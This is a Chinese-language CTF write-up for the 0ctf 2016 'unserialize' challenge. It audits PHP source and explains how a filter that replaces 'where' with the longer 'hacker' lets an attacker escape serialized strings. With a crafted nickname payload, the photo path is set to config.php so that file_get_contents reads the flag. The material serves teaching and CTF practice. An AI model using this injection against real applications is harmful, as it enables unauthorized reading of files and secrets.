一.0ctf_2016_unserialize(php反序列化逃逸字符)1
2
3
4知识点:
* 代码审计
* Unserialize
* LFR
通过源码,我们可以发现在config.php中的flag,这题意图已经很明显了,是要我们读取config.php文件的内容。1
2
3
4
5
6
7<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
注册并登入,在cookie里发现bottle.session,说明很有可能这道题目是由Python的 bottle框架搭建的,与此同时在profile.php找到$profile = unserialize($profile);, $photo = base64_encode(file_get_contents($profile['photo']));中包含有unserialize与file_get_contents,猜测这道题是需要利用unserialize反序列构造file_get_contents执行RCE。1
2
3
4
5$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
可以看到无论是file_get_contents($profile['photo']),还是unserialize($profile)都是通过$profile进行控制的,我们现在看看$profile变量能否被我们控制1
2
3$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
经过查找我们可以发现$profile 变量来源于show_profile方法,我们通过传入一个$username变量后引用了父类mysql的方法filter、select,最后返回了一个$object,而profile就是在这个$object变量中,让我看看mysql类中的函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39class user {
...
...
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
...
...
}
class mysql {
private $link = null;
...
...
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
...
...
public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
这一连串代码作用已经很明显是要验证用户信息的。filter方法防止我们将会过滤符号,\字符串select,insert,update,delete。
经过寻找我们可以找到
$profile['photo']) 是源于update.php中 $profile['photo'] = 'upload/' . md5($file['name']);1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20if(!preg_match('/^d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
原本这段其实是没有问题的,关键是它先将$profile进行序列化后再进行存入数据库,而filter函数中会将where字符串转换成hacker,where是五个字符而hacker是六个字符,这样就给我提供了反序列化逃逸字符的条件1
2
3
4
5
6
7
8
9public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
反序列化逃逸字符1
2
3
4
5
6
7
8
9<?php
//Enter your code here, enjoy!
$profile['phone'] = '11115908609';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'aa';
$profile['photo'] = 'aaa';
$a=serialize($profile);
echo $a;
输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:2:"aa";s:5:"photo";s:3:"aaa";}
我们修改下1$profile['nickname'] = 'aa";s:5:"photo";s:3:"aaa";}';
输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}
因为多出";s:5:"photo";s:3:"aaa";}
于是我们可以hacker比where多的字符将其顶替,这里多处的字符用1代替
比如这样1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa1111111111111111111111111";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}
最后得到
同理我们可以将aaa换成我们想要的比如config.php就可以读出flag了,
将得到的base64解码后的到flag
参考